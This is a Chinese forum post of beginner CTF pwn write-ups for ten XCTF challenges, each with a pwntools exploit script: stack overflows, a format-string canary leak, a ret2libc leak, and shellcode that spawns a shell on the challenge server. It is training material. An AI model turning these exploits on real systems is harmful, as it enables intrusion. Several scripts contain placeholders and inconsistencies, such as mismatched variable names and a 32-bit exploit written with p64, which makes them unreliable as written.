-
-
[原创]【攻防世界】入门题题解
-
2022-4-27 23:41 5994
-
1.【攻防世界】int overflow
整型溢出
例如当一个8位无符号数接收一个函数返回32位无符号数时,只会保留后8位
反汇编
可以看到首先选1,然后输入用户名和密码,这两个输入都不存在溢出,密码会被传入一个check函数,这个check函数中定义了一个8位无符号数v3来接受strlen函数返回的32位无符号数,然后v3大于3小于8通过判断将一个dest返回(这一点应该想到覆盖返回地址到后台函数或者获得flag的函数)
思路代码
1 2 3 4 5 6 | from pwn import * r.remote() address = '获取flag函数的地址' payload = a 'b' * ( 0x14 + 4 ) + address ##a'b'是强转为字符,ljust函数只支持字符 payload = payload.ljust( 260 ,a 'b' ) ##整型溢出截断 通过r.recvuntil和r.sendline函数接受和发送最终获取flag |
exp
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * r = remote( "111.200.241.244" , 63800 ) payload = b 'a' * ( 0x14 + 4 ) + p32( 0x804868B ) payload = payload.ljust( 260 ,b 'a' ) r.recvuntil( "Your choice:" ) r.sendline( "1" ) r.recvuntil( "Please input your username:" ) r.sendline( "Nameless" ) r.recvuntil( "Please input your passwd:" ) r.sendline(payload) r.interactive() |
2.【攻防世界】Mary_Morton
前置知识
canary是一般是通过_readsqword(0x28)随机生成的,可以在ida或者gdb里面查看
再谈格式化字符串漏洞:
1 2 3 4 5 6 | 一般格式为: % 重定位地址 + p / n: 重定位地址的格式为从原先字符到需要定位的字符的偏差 + $,如: printf(buf),buf的地址为 0x90 ,需要定位到地址为 0x08 的v2,而且经过尝试,printf出真正的字符的位置偏移量为 6 ,则重定位地址为 23 $. % p是打印地址 % n是将重定位处的变量的值改为 "%" 之前的所有字符的个数 |
checksec
除了pie其它都开了
反汇编
看见先输“2”进入的地方有一个明显的字符串格式化漏洞,然后里面有个canary,很明显需要打印canary的地址。输“1”是很显而易见的栈溢出,但由于开了canary,明显需要用刚刚的canary地址进行绕过
脚本代码
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * r = remote() r.recvuntil( "3. Exit the battle " ) r.sendline( "2" ) r.sendline( "%23$p" ) r.recvuntil( "0x" ) canary = int (r.recv( 16 ), 16 ) adrs = 0x4008DA payload = "a" * 0x88 + p64(canary) + 'a' * 8 + p64(adrs) r.recvuntil( "3. Exit the battle " ) r.sendline( "1" ) r.sendline(payload) r.interactive() |
3.【攻防世界】level3
前置知识
linux如何解压gz和tar文件(附件中有俩文件,第一个是执行文件,第二个是它的库文件)
1 2 | gzip - d filename.gz tar - xf fiilename |
PIE保护:程序每次调用函数时用的地址都是随机分配的,但是相对位置是不变的
返回地址覆盖:函数地址:32位操作系统下函数地址占4个字节,用get覆盖时,需要在原来栈的大小上加0x4
elf,plt表和got表
1 2 3 4 5 6 7 | elf = ELF( '文件相对于py文件的地址' ) ## 即可用elf来调用文件 plt表:过程链接表,f函数的plt表存的是f函数到got表的地址记作: elf.plt[ 'f' ] 是栈中调用函数所使用的表(函数的起始地址) got表:全局偏移表,f函数的真正地址,记作: elf.got[ 'f' ] 和elf.symbols[ 'f' ]应该是等价的,数据类型为 8 位 16 进制数 |
手动回溯:如果需要利用两次get传递两个不同的payload,就需要手动回到main函数.具体做法是,将函数的返回地址设置位main函数地址:
1 | elf.symbols[ 'main' ] |
寻址
查找函数地址:
1 | readelf - s filename|grep functioname |
查找字符串地址:
1 | strings - at x filename|grep 字符串(不加引号) |
checksec
leve3很寻常,libc啥都开了,也就是混沌状态(PIE)存在,那就需要寻址,通过固定的偏移算出所需调用的函数的地址
反汇编
就俩函数,write和read,read明显溢出了,可以利用其返回到我们所需要的函数,那必然是system,但是没有system。怎么办呢?关键就在于有read函数和write函数(不妨选取write函数),可以用write函数打印level3文件中write函数在中的got表的地址(第一个payload)。然后在libc中找到system函数和字符串'/bin/sh'分别与libc中write函数的偏移量(每次找具体函数的地址都不一样,但偏移量是固定的)。第二个pyload的作用就是调用system函函数了。
脚本代码
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import * r.remote(地址 + 端口) elf = ELF( './level3' ) payload = 0x8c * 'a' + p32(elf.plt[ 'write' ]) + p32(elf.symbols[ 'main' ]) + p32( 1 ) + p32(elf.got[ 'write' ]) + p32( 10 ) r.recvuntil( "Input:\n" ) r.sendline(payload) adrs = u32(r.recv() [: 4 ]) ##切块,只要前四位,因为32位地址只有前四位 payload = 0x8c * 'a' + p32(adrs + system偏移量) + '0000' + p32(adrs + '字符串' 偏移量) #### ‘0000’是返回地址 r.recvuntil( "Input:\n" ) r.sendline(payload) r.interactive() |
4.【攻防世界】cgpwn2
前置知识
32位操作系统的栈是先传入函数地址再传入参数地址
遇事不决直接gdb
反汇编
发现前面一大坨看不懂的东西,看了网上题解才发现那是反汇编在处理寄存器,和题目没啥关系。核心就是输一个名字,然后一段字符串。checksec发现没有金丝雀,然后有个明显的gets函数和return函数,左边列表有一个system函数,这还不够明显?直接gets覆盖返回地址return到system函数,然后执行system("/bin/sh")。关键是这个“/bin/sh”怎么传?这是我们发现前面有一个.bss段的name,先传给它然后再覆盖的时候一并传入栈就行了。
代码
1 2 3 4 5 6 7 8 | from pwn import * r = remote() payload = 'a' * 0x26 + 'bbbb' + p32(system_address) + p32(name_address) r,recvuntil() r.sendline( "/bin/sh" ) r.recvuntil() r.sendline(payload) r.interactive() |
5.【攻防世界】cgfsb
前置知识
字符串格式化漏洞修改变量的值:
1 2 3 4 5 | (一):核心函数printf( "%stringn" ,agrv) / / < = > agrv = strlen(string) (二):通过printf查找相对位置: string = 'AAAA%p%p%p%p%p' 找出打印出来的 16 进制数中的 0X41414141 是第几位(假设是第k位) (三):构造payload = p32(需要改变参数的地址) + '补位' + '%k$n' |
脚本代码
1 2 3 4 5 6 7 8 9 | from pwn import * r = remote( '111.200.241.244' , 65198 ) adrs = 0x0804A068 payload = p32(adrs) + 'aaaa' + '%10$n' r.recvuntil( "please tell me your name:" ) r.sendline( "Nameless" ) r.recvuntil( "leave your message please:" ) r.sendline(payload) r.interactive() |
6.【攻防世界】guess num
前置知识
c++srand rand为伪随机,当传入的seed相同的时候,产生的随机数相同,但是有个比较坑的点就是linux和windows系统下产生的随机数不相同,所以最好调用库,在程序里面自己跑随机数。
64位系统unsigned int 占4个字节
调库
首先linux下ldd查看文件所用库,发现c库目录为:
1 | / lib / x86_64 - linux - gnu / libc.so. 6 |
然后python加入下述语句:
1 2 | libc = cdll.LoadLibrary( "/lib/x86_64-linux-gnu/libc.so.6" ) 即可用libc.srand()和libc.rand()调用c库中的rand和srand函数 |
反汇编
代码很明显,就是读入一个名字,然后输数字,连续10次和一个伪随机数相等即可
思路
用checksec check了一下发现开了金丝雀,但这道题仍然是用溢出覆盖来做,因为要覆盖的地址远远高于金丝雀所在。发现gets函数(老受害者了),然后它和seed隔着ox20的距离,所以先覆盖0x20的内容,并将seed改为我们需要的随机数即可。
代码
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * from ctypes import * r = remote( '111.200.241.244' , 54792 ) libc = cdll.LoadLibrary( "/lib/x86_64-linux-gnu/libc.so.6" ) payload = 'a' * 0x20 + p64( 1 ) r.sendlineafter( 'name:' ,payload) libc.srand( 1 ) for i in range ( 10 ): num = str (libc.rand() % 6 + 1 ) r.sendlineafter( 'number:' ,num) r.interactive() |
7.【攻防世界】string
基础知识
切片
senline发送的是字符串
用context来设置pwntools的环境:
1 2 | context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) 操作系统位数,操作系统,模式 |
思路
首先绕过前面的一切条件判断,然后通过字符串格式化漏洞修改参数使得通过shellcode区判定,最后shellcode获取flag
反汇编
得知是一个勇者斗恶龙的游戏,然后可以向上走也可以向左走,向上走必死,而向左走按1进入龙巢,进入龙巢需要得到女巫的馈赠(格式化漏洞修改参数),使用女巫的馈赠(shellcode)从而获取flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * r = remote( "111.200.241.244" , 59482 ) context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) r.recvuntil( 'secret[0] is ' ) v4_addr = int (r.recvuntil( '\n' )[: - 1 ], 16 ) r.sendlineafter( "What should your character's name be:" ,'nameless') r.sendlineafter( "So, where you will go?east or up?:" , 'east' ) r.sendlineafter( "go into there(1), or leave(0)?:" , '1' ) r.sendlineafter(" "'Give me an address'" ", str (v4_addr)) r.sendlineafter( "And, you wish is:" , "%85c%7$n" ) shellcode = asm(shellcraft.sh()) r.sendlineafter( "Wizard: I will help you! USE YOU SPELL" ,shellcode) r.interactive() |
8.【攻防世界】Hello pwn
保护
只开了NX
Ghidra
ida好像f5不了
FUN_400686是一个后门,那么我们就只需要输入的DAT为0x6e756161即可
exp
1 2 3 4 5 6 | from pwn import * p = process( './t' ) payload = p64( 0x6e756161 ) r.recvuntil( 'bof\n' ) r.send(payload) r.interactive() |
9.【攻防世界】level0
保护
只开了NX
ida
看见函数列表有个后门函数,自然想到ret2backdoor
exp
1 2 3 4 5 6 | from pwn import * p = process( './t' ) payload = 0x88 * 'a' + p64( 0x400696 ) r.recvuntil( '\n' ) r.send(payload) r.interactive() |
10.【攻防世界】level2
保护
还是只开了NX
ida
相较于上一道题,多了一个给system传参的环节,32位系统的rop一般为这种形式
1 | payload = padding + p32(function_address) + p32(ret_address) + p32(agv1)... + p32(agvn) |
exp
1 2 3 4 5 6 7 | from pwn import * p = process( './t' ) bin_sh = 0x400594 payload = 0x88 * 'a' + p64( 0x400696 ) + p64(bin_sh) r.recvuntil( '\n' ) r.send(payload) r.interactive() |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法